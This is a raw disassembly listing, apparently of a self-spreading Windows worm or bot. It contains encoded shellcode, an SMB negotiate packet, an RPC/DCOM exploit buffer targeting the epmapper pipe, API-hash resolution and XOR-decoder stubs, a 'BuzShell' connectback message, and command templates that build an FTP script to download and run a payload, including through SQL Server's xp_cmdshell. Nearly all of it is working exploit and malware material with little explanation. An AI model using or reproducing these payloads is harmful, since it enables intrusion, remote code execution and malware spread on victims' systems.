		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
dword_4343E0	dd 54340320h, 741FF41Fh, 6C1FE21Fh, 1F3A031Fh, 6425202Dh
					; DATA XREF: sub_40B790+85o
		dd 34300320h, 30036E69h, 73252031h, 2Eh
dword_434404	dd 34300320h, 3A732520h, 3130032Dh, 2C642520h, 0dword_434418	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 61630253h
					; DATA XREF: sub_40B790+11o
		dd 3026E02h, 32C3130h, 33A3431h, 45022031h, 6C027078h
		dd 7402696Fh, 74530220h, 69027461h, 69027473h, 33A7363h
		dd 34h
dword_434458	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 61630253h
					; DATA XREF: sub_40B85E+37o
		dd 3026E02h, 32C3130h, 33A3431h, 54022031h, 6E617202h
		dd 72656673h, 2530220h,	69746174h, 63697473h, 34033A73h
		dd 46540220h, 3A025054h, 2C642520h, 54460220h, 203A0250h
		dd 202C6425h, 1FF41F54h, 1FE21F74h, 6425206Ch, 206E6920h
		dd 2E7325h
dword_4344C0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 61630253h
					; DATA XREF: sub_40B8C9+21o
		dd 3026E02h, 32C3130h, 33A3431h, 64252031h, 34300320h
		dd 6E6E6F43h, 42746365h, 204B6361h, 6C656853h, 6920736Ch
		dd 3130036Eh, 2E732520h, 0
dword_434508	dd 2B75320h, 61B70263h,	203A6EB7h, 69025402h, 33A656Dh
					; DATA XREF: sub_40B91D+7Eo
		dd 25203430h, 2E73h
dword_434524	dd 25370320h, 28200373h, 73253403h, 2C2903hdword_434534	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 61630253h
					; DATA XREF: sub_40B91D+14o
		dd 3026E02h, 32C3130h, 33A3431h, 45022031h, 6C027078h
		dd 7402696Fh, 694C0220h, 2747302h, 3Ah,	0
dword_434570	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 21F4502h
					; DATA XREF: sub_40B9E3+16Fo
		dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 2203103h
		dd 6E690246h, 65687369h, 45022064h, 6C707802h, 691F6F1Fh
		dd 676E6974h, 25203403h, 31032073h, 20642528h, 65747461h
		dd 7374706Dh, 29h
dword_4345C8	dd 35310302h, 25B302Ch,	91313003h, 1F343003h, 21F4502h
					; DATA XREF: sub_40B9E3+80o
		dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 2203103h
		dd 79720254h, 3676E69h,	73252034h, 6F310320h, 2034036Eh
		dd 3207325h, 6F702831h,	25207472h, 2E2E2964h, 2Eh
dword_434618	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 61630253h
					; DATA XREF: sub_40BB95+42o
		dd 3026E02h, 32C3130h, 33A3431h, 53022034h, 6E616302h
		dd 24E0220h, 220746Fh, 74630241h, 2E657669h, 0
dword_434654	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_40BB95+2Co
		dd 3026E02h, 32C3430h, 33A3431h, 43022034h, 72727502h
		dd 20746E65h, 501F491Fh, 2031033Ah, 2E7325h, 0
unk_434690	db    2			; DATA XREF: sub_40BC0C+4C5o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	34h, 91h
		db    3
		db 30h,	31h, 2
		db  48h	; H
		db 2, 2	dup(74h)
		db  70h	; p
		db 64h,	3, 30h
		db  34h	; 4
		db 2Ch,	3, 31h
		db  34h	; 4
		db 3Ah,	3, 34h
aFailedToSta_21	db ' Failed to start server, error: <%d>.',0
		align 4
unk_4346D8	db    2			; DATA XREF: sub_40BC0C+440o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  48h	; H
		db 2, 2	dup(74h)
		db  70h	; p
		db 64h,	3, 30h
		db  31h	; 1
		db 2Ch,	3, 31h
		db  34h	; 4
		db 3Ah,	3, 20h
aServerListen_1	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
unk_434728	db  2Dh	; -		; DATA XREF: sub_40BC0C+386o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_22	db '- Failed to start server, error: <%d>.',0
unk_434760	db  2Dh	; -		; DATA XREF: sub_40BC0C+326o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_1	db '- Server started on Port: %d.',0
		align 10h
dword_434790	dd 35310302h, 25B302Ch,	91313003h, 54343003h, 54024602h
					; DATA XREF: sub_40BC0C+25Fo
		dd 64027002h, 2C313003h, 3A353103h, 2203103h, 69610246h
		dd 2064656Ch, 26F0254h,	2745320h, 74720261h, 72655320h
		dd 65027602h, 45202C72h, 72027202h, 33A726Fh, 3C203430h
		dd 2E3E6425h, 0
dword_4347E8	dd 35310302h, 25B302Ch,	91313003h, 54343003h, 54024602h
					; DATA XREF: sub_40BC0C+1FFo
		dd 64027002h, 2C313003h, 3A353103h, 2203103h, 72650253h
		dd 20726576h, 2617453h,	65740272h, 6E4F2064h, 6F025020h
		dd 3A747202h, 20343003h, 202C6425h, 2460203h, 3A656C69h
		dd 20343003h, 2E7325h
dword_434840	dd 35310302h, 25B302Ch,	91313003h, 54343003h, 54024602h
					; DATA XREF: sub_40BC0C+137o
		dd 64027002h, 2C313003h, 3A353103h, 46203103h, 2696102h
		dd 6402656Ch, 6F025420h, 2745320h, 2747261h, 2655320h
		dd 65027672h, 45202C72h, 2727202h, 33A726Fh, 253C2034h
		dd 2E3E64h, 0
dword_434898	dd 35310302h, 25B302Ch,	91313003h, 54343003h, 54024602h
					; DATA XREF: sub_40BC0C+D7o
		dd 64027002h, 2C313003h, 3A353103h, 53203103h, 2726502h
		dd 72026576h, 2745320h,	2747261h, 6F206465h, 50206E02h
		dd 2726F02h, 34033A74h,	2C642520h, 46310320h, 26C6902h
		dd 34033A65h, 2E732520h, 2 dup(0)
dword_4348F8	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_40C271+DCo
		dd 3026E02h, 32C3430h, 33A3431h, 50492031h, 2034033Ah
		dd 202C7325h, 50023103h, 74726F02h, 25203403h, 31032064h
		dd 2207369h, 6570024Fh,	2E6Eh
dword_434940	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_40C271+84o
		dd 3026E02h, 32C3430h, 33A3431h, 50492031h, 2034033Ah
		dd 253A7325h, 3202C64h,	2530231h, 206E6163h, 68025402h
		dd 64616572h, 2034033Ah, 202C6425h, 53023103h, 2D627502h
		dd 68025402h, 64616572h, 2034033Ah, 2E6425h
dword_4349A0	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_40C485+1E0o
		dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6E026902h
		dd 73026902h, 65026802h, 61206402h, 20310374h, 253A7325h
		dd 34032064h, 66026102h, 3726574h, 64252031h, 2340320h
		dd 6E69024Dh, 28657475h, 6F202973h, 53022066h, 61026302h
		dd 6E1F6E02h, 6E02691Fh, 2E6702h
dword_434A10	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_40C485+168o
		dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h
		dd 2206465h, 206F0254h,	74025302h, 20747261h, 6F025702h
		dd 72656B72h, 2540220h,	61657268h, 2202C64h, 72720245h
		dd 33A726Fh, 253C2031h,	2E3E64h, 0
dword_434A70	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_40C485+103o
		dd 3026E02h, 32C3430h, 33A3431h, 73252031h, 2C64253Ah
		dd 2340320h, 61630253h,	5402206Eh, 65726802h, 33A6461h
		dd 64252031h, 3403202Ch, 75025302h, 1F2D1F62h, 68025402h
		dd 64616572h, 2031033Ah, 2E6425h, 0
dword_434AD0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F531Fh
					; DATA XREF: sub_40C485+87o
		dd 2610263h, 3130036Eh,	3531032Ch, 2031033Ah, 61024602h
		dd 6C026902h, 64026502h, 206F7420h, 26E6902h, 2697469h
		dd 2696C61h, 4320657Ah,	2697202h, 63026974h, 53206C61h
		dd 2636502h, 6F026974h,	2E6Eh
aBuzshellConnec	db 'BuzShell Connected!',0 ; DATA XREF: sub_40C6DC+7Fo
dword_434B40	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_40C773+92o
		dd 3026E02h, 32C3430h, 33A3431h, 50492031h, 2034033Ah
		dd 3207325h, 2500231h, 3A74726Fh, 25203403h, 31032064h
		dd 2207369h, 6570024Fh,	2E6Eh
dword_434B88	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 61630253h
					; DATA XREF: sub_40C840+41o
		dd 3026E02h, 32C3430h, 33A3431h, 53022031h, 6E616302h
		dd 676E696Eh, 3A504920h, 25203403h, 3202C73h, 2500231h
		dd 272026Fh, 34033A74h,	2E642520h, 2 dup(0)
dword_434BD8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6F1F0250h
					; DATA XREF: sub_40C931+D1o
		dd 274721Fh, 631F0253h,	6E02611Fh, 31300302h, 3431032Ch
		dd 2031033Ah, 69024602h, 6873696Eh, 2206465h, 61630253h
		dd 6E696E6Eh, 50492067h, 2034033Ah, 2E7325h, 0
dword_434C28	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6F1F0250h
					; DATA XREF: sub_40C931+41o
		dd 274721Fh, 631F0253h,	6E02611Fh, 31300302h, 3431032Ch
		dd 2031033Ah, 2530220h,	6E026163h, 1F6E1F02h, 26E0269h
		dd 50492067h, 2034033Ah, 202C7325h, 50023103h, 72026F02h
		dd 33A7402h, 64252034h,	2Eh, 0
byte_434C88	db 90h			; DATA XREF: sub_40CCAA+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset dword_429040+2
		align 4
dword_434C94	dd 10FF8h, 0	dword_434C9C	dd 10FF8h	dword_434CA0	dd 7FFDF020h, 0	dword_434CA8	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_434D30	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_434D60	dd 0				dd 800000D4h, 2	dup(0)
unk_434D70	db  81h	; 		; DATA XREF: sub_40D1A3+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_434DC0	db 41h			; DATA XREF: sub_40D241+108r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_434E08	proc near		; DATA XREF: .XPack0:0040D51Do
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_434F04
		push	dword ptr [esi]
		push	63D61209h
		call	sub_434F1A
		mov	[esi+8], eax
		call	sub_434ECD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_434F1A
		mov	[esi+0Ch], eax
		call	sub_434E7F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_434F1A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_434E08	endp


; =============== S U B	R O U T	I N E =======================================



sub_434E7F	proc near		; CODE XREF: sub_434E08+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_434EA8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_434E7F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_434EA8	proc near		; CODE XREF: sub_434E7F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_434EB7:				; CODE XREF: sub_434EA8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_434EC4
		inc	ebx
		jmp	short loc_434EB7
; ---------------------------------------------------------------------------


loc_434EC4:				; CODE XREF: sub_434EA8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_434EA8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_434ECD	proc near		; CODE XREF: sub_434E08+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_434EE5:				; CODE XREF: sub_434ECD+1Ej
		cmp	[ecx], ebx
		jz	short loc_434EED
		mov	ecx, [ecx]
		jmp	short loc_434EE5
; ---------------------------------------------------------------------------


loc_434EED:				; CODE XREF: sub_434ECD+1Aj
		mov	edx, edi


loc_434EEF:				; CODE XREF: sub_434ECD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_434EF9
		mov	edx, [edx+4]
		jmp	short loc_434EEF
; ---------------------------------------------------------------------------


loc_434EF9:				; CODE XREF: sub_434ECD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_434ECD	endp


; =============== S U B	R O U T	I N E =======================================



sub_434F04	proc near		; CODE XREF: sub_434E08+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_434F04	endp


; =============== S U B	R O U T	I N E =======================================



sub_434F1A	proc near		; CODE XREF: sub_434E08+16p
					; sub_434E08+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_434F30:				; CODE XREF: sub_434F1A+33j
		jecxz	short loc_434F6A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_434F3D:				; CODE XREF: sub_434F1A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_434F49
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_434F3D
; ---------------------------------------------------------------------------


loc_434F49:				; CODE XREF: sub_434F1A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_434F30
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_434F6A:				; CODE XREF: sub_434F1A:loc_434F30j
					; sub_434F1A:loc_434F6Aj
		jmp	short loc_434F6A
sub_434F1A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_434F70	proc near		; DATA XREF: .XPack0:0040D4CBo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_434FC2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_434F8D:				; CODE XREF: sub_434F70+38j
		jecxz	short loc_434FBD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_434F98:				; CODE XREF: sub_434F70+32j
		lodsb
		test	al, al
		jz	short loc_434FA4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_434F98
; ---------------------------------------------------------------------------


loc_434FA4:				; CODE XREF: sub_434F70+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_434F8D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_434FBD:				; CODE XREF: sub_434F70:loc_434F8Dj
		mov	[esp+arg_0], ebx
		retn
sub_434F70	endp


; =============== S U B	R O U T	I N E =======================================



sub_434FC2	proc near		; CODE XREF: sub_434F70+7p

; FUNCTION CHUNK AT 00434FFA SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_434FDB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_434FE6
; ---------------------------------------------------------------------------


loc_434FDB:				; CODE XREF: sub_434FC2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_434FE6:				; CODE XREF: sub_434FC2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_434FFA
sub_434FC2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_434FED	proc near		; CODE XREF: sub_434FC2:loc_434FFAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_434FED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_434FC2


loc_434FFA:				; CODE XREF: sub_434FC2+29j
		call	sub_434FED


loc_434FFF:				; DATA XREF: sub_40CCAA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_434FC2
; ---------------------------------------------------------------------------
		dw 0
dword_435004	dd 62B0606h, 2050501h, 0A0hdword_435010	dd 30h		dword_435014	dd 0A1h		dword_435018	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_40CCAA+153o
		align 4


loc_435024:				; DATA XREF: sub_40CCAA+E8o
		jmp	short near ptr dword_43502C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_43502C	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .XPack0:0040D4F2o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_435098	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0					; .XPack0:0040E05Ao
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_4350E8	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DBEF+120o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
dword_435244	dd 0C0h, 46000000h, 1AAh, 0		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_43544C	dd 20h,	0			dd 20h,	5C005Ch, 0
off_435460	dd offset aAdvapi32_dllFa+18h ;	DATA XREF: sub_40DBEF+15Ao
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
dword_4354A0	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_40DBEF+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_4355B0	dd 10016C6h	dword_4355B4	dd 100139Dh	asc_4355B8:				; DATA XREF: sub_40DA56+1Co
					; sub_40DB39+16o
		unicode	0, <\\>,0
		align 10h
off_4355C0	dd offset dword_49005C	; DATA XREF: sub_40DA56+Co
					; sub_40DB39+Bo
		dd offset aAdvapi32_dllFa+0Ch
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .XPack0:0040E128o
		align 4
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0
					; DATA XREF: .XPack0:0040E0DBo
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: .XPack0:0040DE80o
		align 4
dword_435628	dd 1F353103h, 34031F28h, 313003B7h, 6C71736Dh, 3B73403h
					; DATA XREF: .XPack0:0040E8C3o
		dd 291F3531h, 203201Fh,	79720254h, 3A676E69h, 73252820h
		dd 2964253Ah, 2550220h,	3A726573h, 73252820h, 2973252Fh
		dd 2Eh
dword_435668	dd 21F5B1Fh, 544F4F52h,	1F024445h, 0BB201F5Dh, 4920BBBBh
					; DATA XREF: .XPack0:0040E841o
		dd 25203A50h, 73h
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .XPack0:0040E82Co
		align 8
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: .XPack0:0040E7F5o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: .XPack0:0040E757o
		align 10h
dword_435770	dd 0E983C933h, 0D9EED9AFh, 5BF42474h; ---------------------------------------------------------------------------


loc_43577C:				; CODE XREF: .XPack0:00435786j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43577C
		inc	edi
		jz	short loc_4357C3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4357EB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_4357C3:				; CODE XREF: .XPack0:00435789j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_435822+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4357E8:				; CODE XREF: .XPack0:00435815j
		xor	[esi-25h], bl


loc_4357EB:				; CODE XREF: .XPack0:00435791j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_435804:				; CODE XREF: .XPack0:00435837j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4357E8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_435822:				; CODE XREF: .XPack0:004357C9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_4358AE
		jo	short loc_435804
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_435845+1
		add	bl, [edi]


loc_435845:				; CODE XREF: .XPack0:00435841j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43585A+2
		cmp	ch, bh
		dec	edx


loc_43585A:				; CODE XREF: .XPack0:00435855j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_4358AE:				; CODE XREF: .XPack0:00435835j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_435934
		sub	al, 0BCh
		jmp	near ptr 54455CA2h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
